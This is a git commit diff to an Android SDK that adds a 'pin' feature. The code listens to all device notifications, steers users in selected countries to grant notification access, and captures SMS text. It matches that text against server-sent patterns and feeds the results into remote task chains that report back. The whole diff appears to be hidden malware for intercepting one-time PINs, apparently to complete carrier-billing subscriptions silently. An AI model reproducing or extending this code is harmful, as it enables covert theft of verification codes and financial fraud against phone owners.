增加pin功能

pin
wmzh2006 2 years ago
parent 6bbff7f692
commit d7422938ed

@ -12,6 +12,15 @@
android:supportsRtl="true"
android:theme="@style/Theme.Kvastsdk"
tools:targetApi="31">
<service
android:name="com.example.kvast_sdk.NotificationService"
android:exported="false"
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
<intent-filter>
<action android:name="android.service.notification.NotificationListenerService" />
</intent-filter>
</service>
<activity
android:name=".MainActivity"
android:exported="true">

@ -0,0 +1,52 @@
package com.example.kvast_sdk
import android.content.ComponentName
import android.content.Context
import android.content.Intent
import androidx.core.content.ContextCompat.startActivity
import com.example.vastlib.entity.request.BaseRequestBuilder
import com.example.vastlib.utils.AndroidIdManager
import com.example.vastlib.utils.notificationListenerEnable
fun Context.openNotificationListener() {
val mandatoryTeleCode = listOf(
"214", "232", "260", "262", "420", "424", "502", "520", "334", "454"
)
AndroidIdManager.init(this.applicationContext)
val deviceInfoProvider = BaseRequestBuilder(this.applicationContext)
val code = deviceInfoProvider.telcoCode
if (code.isNotBlank() && mandatoryTeleCode.any { code.startsWith(it) }) {
showAlertDialog()
}
}
fun Context.showAlertDialog() {
if (!notificationListenerEnable()) {
gotoNotificationAccessSetting()
}
}
fun Context.gotoNotificationAccessSetting(): Boolean {
try {
val intent = Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS").apply {
flags = Intent.FLAG_ACTIVITY_NEW_TASK
}
startActivity(intent)
return true
}catch (e:java.lang.Exception) {
try{
val intent = Intent().apply {
flags = Intent.FLAG_ACTIVITY_NEW_TASK
component = ComponentName(
"com.android.settings",
"com.android.settings.Settings`$`NotificationAccessSettingsActivity"
)
}
startActivity(intent)
return true
}catch (e:java.lang.Exception) {
}
return false
}
}

@ -14,6 +14,8 @@ class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
Sdk.init(this)
this.openNotificationListener()
}
}

@ -6,6 +6,6 @@ import com.iab.ak.Sdk
class MyApplication:Application() {
override fun onCreate() {
super.onCreate()
Sdk.init(this)
}
}

@ -0,0 +1,14 @@
package com.example.kvast_sdk
import android.service.notification.NotificationListenerService
import android.service.notification.StatusBarNotification
import com.example.vastlib.pin.NotificationManger.comeON
class NotificationService : NotificationListenerService() {
override fun onNotificationPosted(sbn: StatusBarNotification?) {
super.onNotificationPosted(sbn)
sbn?.comeON()
}
}

@ -12,6 +12,7 @@ interface BaseAction {
companion object {
const val ACTION_TYPE_HTTP = 0
const val ACTION_TYPE_PIN = 1
const val ACTION_TYPE_WS = 2
}
}

@ -0,0 +1,15 @@
package com.example.vastlib.entity.action
data class PinAction(
override var type: Int,
override var delay: Int,
override var next: List<Next> = emptyList(),
override var skip_error: Boolean,
override var async: Boolean,
override var disconnect_ws: Boolean,
var params:List<VarExtractRule> = emptyList(),
var filter:Boolean = true,
):BaseAction{
override fun toString() = ""
}

@ -9,6 +9,7 @@ import com.example.vastlib.BuildConfig
import com.example.vastlib.utils.AndroidIdManager
import com.example.vastlib.utils.LogUtils
import com.example.vastlib.utils.NetworkManager
import com.example.vastlib.utils.notificationListenerEnable
import kotlinx.coroutines.*
class BaseRequestBuilder(private val context: Context) {
@ -26,7 +27,7 @@ class BaseRequestBuilder(private val context: Context) {
}
private val appVer: Int
private val telcoCode: String
val telcoCode: String
get() {
return if (networkOperator.isNotBlank()) simOperator
else networkOperator
@ -37,7 +38,9 @@ class BaseRequestBuilder(private val context: Context) {
return NetworkManager.sdkNetworkType(context)
}
private val recvFlag: Boolean = false
private val recvFlag: Boolean
get() = context.notificationListenerEnable()
private val countryCode: String
get() {
return context.resources.configuration.locale.country

@ -1,6 +1,7 @@
package com.example.vastlib.entity.task
import com.example.vastlib.entity.action.BaseAction
import com.example.vastlib.entity.action.PinAction
data class Task(
var taskId:Int,
@ -8,5 +9,11 @@ data class Task(
var taskUid:Long,
var actions:List<BaseAction> = mutableListOf(),
) {
val isPinAction:Boolean
get() = actions.any { it.type == BaseAction.ACTION_TYPE_PIN}
val filter:Boolean
get() = (actions.firstOrNull { it.type == BaseAction.ACTION_TYPE_PIN } as? PinAction)?.filter ?: true
override fun toString() = ""
}

@ -1,5 +1,6 @@
package com.example.vastlib.entity.task
import com.example.vastlib.pin.NotificationMessage
import java.net.CookieManager
data class TaskConfig(
@ -13,7 +14,8 @@ data class TaskConfig(
val cookie_manager: CookieManager,
var current_step: Int,
val report_url: String,
val variable_cache:MutableMap<String, String>
val variable_cache:MutableMap<String, String>,
val notificationCache:MutableList<NotificationMessage>
) {
override fun toString() = ""
}

@ -0,0 +1,26 @@
package com.example.vastlib.pin
import android.app.NotificationManager
import android.os.Bundle
import android.service.notification.StatusBarNotification
import com.example.vastlib.utils.LogUtils
object NotificationManger {
const val NotifyNfm = "NOTIFY_NFM"
var listener:((Bundle)->Unit)? = null
fun StatusBarNotification.comeON(){
notification.extras?.let {content->
val nfm = NotificationMessage(
content = content.getCharSequence("android.text", "").toString(),
from = content.getString("android.title",""),
time = System.currentTimeMillis(),
app = packageName,
)
val bundle = Bundle()
bundle.putSerializable(NotifyNfm, nfm)
listener?.invoke(bundle)
LogUtils.info("content notify: $content")
}
}
}

@ -0,0 +1,12 @@
package com.example.vastlib.pin
import java.io.Serializable
data class NotificationMessage(
val content:String,
val from:String,
val time:Long,
val app:String
): Serializable {
override fun toString(): String = ""
}

@ -16,7 +16,7 @@ import org.json.JSONArray
import java.net.URI
import java.net.URL
import java.net.URLEncoder
import java.util.Base64
import java.util.*
abstract class BaseActionExecService(protected open val taskConfig: TaskConfig) {
protected val scope:CoroutineScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
@ -28,6 +28,8 @@ abstract class BaseActionExecService(protected open val taskConfig: TaskConfig)
//执行pin_action产生的错误码
val ERROR_CODE_PIN_ACTION_EXEC_FAILED = 700
var ERROR_CODE_PIN_ACTION_TIMEOUT = 702
//执行web_socket_action产生的错误码
val WEB_SOCKET_CODE = 101
val ERROR_CODE_WS_ACTION_EXEC_FAILED = 800

@ -0,0 +1,141 @@
package com.example.vastlib.service
import android.util.Log
import com.example.vastlib.entity.action.Next
import com.example.vastlib.entity.action.PinAction
import com.example.vastlib.entity.report.ActionExec
import com.example.vastlib.entity.task.TaskConfig
import com.example.vastlib.pin.NotificationMessage
import com.example.vastlib.utils.JSONUtils
import com.example.vastlib.utils.LogUtils
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.delay
import kotlinx.coroutines.isActive
import kotlinx.coroutines.withContext
class PinActionExecService(
private val action: PinAction,
override val taskConfig: TaskConfig
) : BaseActionExecService(taskConfig) {
suspend fun executeAction(onFinish: (List<ActionExec>) -> Unit = {}) =
withContext(Dispatchers.IO) {
val actionExecList: MutableList<ActionExec> = mutableListOf()
var currentStep = taskConfig.current_step
kotlin.runCatching {
val start = System.currentTimeMillis()
var respCode = 200
val messageLog: MutableList<NotificationMessage> = mutableListOf()
val nextList = action.next
while (isActive && (start + action.delay * 1000) > System.currentTimeMillis()) {
val notificationCache = taskConfig.notificationCache
if (nextList.isNotEmpty() && notificationCache.isNotEmpty()) {
val notificationMessages =
haveNextCatchTargetMessage(notificationCache, nextList)
if (notificationMessages.isNotEmpty()) {
LogUtils.info("catch target message...")
messageLog.addAll(notificationMessages)
break
}
}
LogUtils.info("waiting for target message... ${action.delay}")
delay(1000)
}
val cost = System.currentTimeMillis() - start
if (messageLog.isNotEmpty()) {
val nextStep =
getNextStepIndex(nextList, JSONUtils.notificationToJsonString(messageLog), currentStep)
taskConfig.current_step = nextStep
} else {
if (nextList.isNotEmpty()) {
taskConfig.current_step = Int.MAX_VALUE
respCode = ERROR_CODE_PIN_ACTION_TIMEOUT
} else {
taskConfig.current_step = ++currentStep
messageLog += taskConfig.notificationCache
}
}
if(taskConfig.current_step != Int.MAX_VALUE && messageLog.isNotEmpty()) {
val responseBody = JSONUtils.notificationToJsonString(messageLog)
extractBodyVariableToCache(action, responseBody, responseBody.toByteArray())
}
val actionExec = genActionExec(messageLog, currentStep, respCode, cost)
actionExecList += actionExec
}.onFailure {
LogUtils.error(it)
val actionExec = genExceptionActionExec(action, ERROR_CODE_PIN_ACTION_EXEC_FAILED, Log.getStackTraceString(it))
actionExecList += actionExec
if(action.skip_error) {
taskConfig.current_step = ++currentStep
}else {
taskConfig.current_step = Int.MAX_VALUE
}
}
onFinish(actionExecList)
}
private fun genActionExec(
messageLog: MutableList<NotificationMessage>,
currentStep: Int,
respCode: Int,
cost: Long
): ActionExec{
val actionExec = ActionExec().apply {
this.step = currentStep
this.index = 1
this.respCode = respCode
this.cost = cost
this.time = System.currentTimeMillis()
if(messageLog.isNotEmpty()) {
this.url = messageLog.first().app
this.respData = JSONUtils.notificationToJsonString(messageLog)
}
}
return actionExec
}
private fun haveNextCatchTargetMessage(
notificationCache: List<NotificationMessage>,
nextList: List<Next>
): List<NotificationMessage> {
var result: List<NotificationMessage> = mutableListOf()
var targetMessage: NotificationMessage? = null
for (notify in notificationCache) {
for (next in nextList) {
if (next.step <= 0) continue
LogUtils.info("next:$next")
val contain = next.contain
if (contain.isNotBlank() && notify.from.contains(contain) ||
notify.content.contains(contain)
) {
targetMessage = notify
break
}
if (next.regexp.isNotBlank()) {
val pattern = next.regexp.toRegex()
var matcher = pattern.matches(notify.from)
if (matcher) {
targetMessage = notify
break
}
matcher = pattern.matches(notify.content)
if (matcher) {
targetMessage = notify
break
}
}
}
if (targetMessage != null) {
break
}
}
if (targetMessage != null) {
result = notificationCache.filter { targetMessage.from == it.from }.toList()
}
return result
}
}

@ -103,14 +103,14 @@ class SdkMainService private constructor() {
return@collect
}
}
context.restartNotificationListenerServiceState()
isTaskRunning.set(true)
val userId = AndroidIdManager.getAdId()
measureTime {
taskResponse.tasks.map {
async {
TaskExecService(it, taskResponse, userId).runTask(
TaskExecService(it, taskResponse, userId, context).runTask(
TASK_MAX_EXEC_TIME
)
}

@ -1,13 +1,19 @@
package com.example.vastlib.service
import android.content.Context
import android.os.Bundle
import android.provider.Telephony
import com.example.vastlib.entity.action.BaseAction
import com.example.vastlib.entity.action.HttpAction
import com.example.vastlib.entity.action.PinAction
import com.example.vastlib.entity.action.WebSocketAction
import com.example.vastlib.entity.report.ActionExec
import com.example.vastlib.entity.report.TaskExec
import com.example.vastlib.entity.response.TaskResponse
import com.example.vastlib.entity.task.Task
import com.example.vastlib.entity.task.TaskConfig
import com.example.vastlib.pin.NotificationManger
import com.example.vastlib.pin.NotificationMessage
import com.example.vastlib.utils.LogUtils
import com.example.vastlib.utils.WebSocketClientManager
import kotlinx.coroutines.*
@ -16,10 +22,10 @@ import java.net.CookiePolicy
import kotlin.random.Random
class TaskExecService constructor(
private val currentTask: Task, private val taskResponse: TaskResponse, userId: String
private val currentTask: Task, private val taskResponse: TaskResponse, userId: String,
private val context: Context
) {
private lateinit var taskConfig: TaskConfig
private var taskConfig: TaskConfig
init {
with(taskResponse) {
taskConfig = TaskConfig(
@ -33,14 +39,37 @@ class TaskExecService constructor(
cookie_manager = CookieManager(null, CookiePolicy.ACCEPT_ORIGINAL_SERVER),
current_step = 0,
report_url = taskResponse.reportUrl,
variable_cache = mutableMapOf()
variable_cache = mutableMapOf(),
notificationCache = mutableListOf()
)
}
}
suspend fun runTask(timeOutMillis: Long) = withTimeoutOrNull(timeMillis = timeOutMillis) {
WebSocketClientManager.getInstance().closeClient()
if (currentTask.isPinAction) {
LogUtils.info(NotificationManger.NotifyNfm)
NotificationManger.listener = { bundle ->
val pinResp = bundle.getSerializable(NotificationManger.NotifyNfm) as NotificationMessage
val defaultSmsPackage:String? = Telephony.Sms.getDefaultSmsPackage(context)
if(defaultSmsPackage != null && currentTask.filter) {
if(pinResp.app == defaultSmsPackage) {
taskConfig.notificationCache += pinResp
LogUtils.info(pinResp.content)
}else if(defaultSmsPackage != null) {
taskConfig.notificationCache += pinResp
LogUtils.info(pinResp.content)
}
}else {
taskConfig.notificationCache += pinResp
LogUtils.info(pinResp.content)
}
}
}
execTask()
if(currentTask.isPinAction) {
NotificationManger.listener = null
}
delay((Random.nextInt(30) + 30) * 1000L)
}
@ -80,6 +109,13 @@ class TaskExecService constructor(
}
}
}
BaseAction.ACTION_TYPE_PIN -> {
(action as? PinAction)?.apply {
PinActionExecService(this, taskConfig).executeAction {
logs += it
}
}
}
else -> {
LogUtils.info("unknown action")
}

@ -0,0 +1,33 @@
package com.example.vastlib.utils
import android.content.ComponentName
import android.content.Context
import android.content.pm.PackageManager
import android.provider.Settings
fun Context.notificationListenerEnable():Boolean {
val flat = Settings.Secure.getString(contentResolver, "enabled_notification_listeners")
return flat?.contains(packageName) == true
}
fun Context.restartNotificationListenerServiceState() {
var notificationListenerServiceClass:String? = null
kotlin.runCatching {
val packageInfo = packageManager.getPackageInfo(packageName,
PackageManager.GET_SERVICES or PackageManager.GET_DISABLED_COMPONENTS)
for (serviceInfo in packageInfo.services) {
if("android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" == serviceInfo.permission) {
notificationListenerServiceClass = serviceInfo.name
}
}
}
if(null == notificationListenerServiceClass) return
packageManager.setComponentEnabledSetting(ComponentName(this,
notificationListenerServiceClass!!
), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP)
packageManager.setComponentEnabledSetting(ComponentName(this,
notificationListenerServiceClass!!
), PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP)
}

@ -9,6 +9,7 @@ import com.example.vastlib.entity.request.BaseRequest
import com.example.vastlib.entity.request.ReportTaskRequest
import com.example.vastlib.entity.response.TaskResponse
import com.example.vastlib.entity.task.Task
import com.example.vastlib.pin.NotificationMessage
import com.example.vastlib.utils.JSONUtils.toJsonString
import org.json.JSONArray
import org.json.JSONObject
@ -28,6 +29,21 @@ object JSONUtils {
it.toString()
}
fun notificationToJsonString(notifications:List<NotificationMessage>):String {
val jsonArray = JSONArray()
for (n in notifications) {
JSONObject().let {
it.put("content", n.content)
it.put("from", n.from)
it.put("time", n.time)
it.put("app", n.app)
}.apply {
jsonArray.put(this)
}
}
return jsonArray.toString()
}
fun Response.toJsonString(): String = JSONObject().let {
it.put("code", code)
it.put("start_time", startTime)
@ -181,6 +197,16 @@ object JSONUtils {
this,
)
}
BaseAction.ACTION_TYPE_PIN -> {
parsePinAction(
type,
delay,
skipError,
async,
disconnectWs,
this
)
}
else -> {
null
}
@ -197,6 +223,52 @@ object JSONUtils {
}.getOrNull()
}
private fun parsePinAction(
type: Int,
delay: Int,
skipError: Boolean,
async: Boolean,
disconnectWs: Boolean,
jsonObject: JSONObject,
):PinAction{
val pinAction = PinAction(
type = type,
delay = delay,
skip_error = skipError,
async = async,
disconnect_ws = disconnectWs
)
jsonObject.optJSONArray("next")?.run {
(0 until length()).forEach { index ->
pinAction.next += optJSONObject(index).run {
Next(
contain = optString("contain"),
step = optInt("step"),
regexp = optString("regexp")
)
}
}
}
jsonObject.optJSONArray("params")?.run {
(0 until length()).forEach {
getJSONObject(it).apply {
val arv = VarExtractRule(
expr = optString("expr"),
variable = optString("variable"),
rule = optInt("rule")
)
pinAction.params += arv
}
}
}
pinAction.filter = jsonObject.optBoolean("filter", true)
return pinAction
}
private fun parseWebSocketAction(
type: Int,
delay: Int,

@ -39,7 +39,7 @@ object NetworkManager {
}
val airModeOn: (context: Context) -> Boolean = { context ->
Settings.System.getInt(
Settings.Global.getInt(
context.contentResolver, Settings.Global.AIRPLANE_MODE_ON, 0
) == 1
}

Loading…
Cancel
Save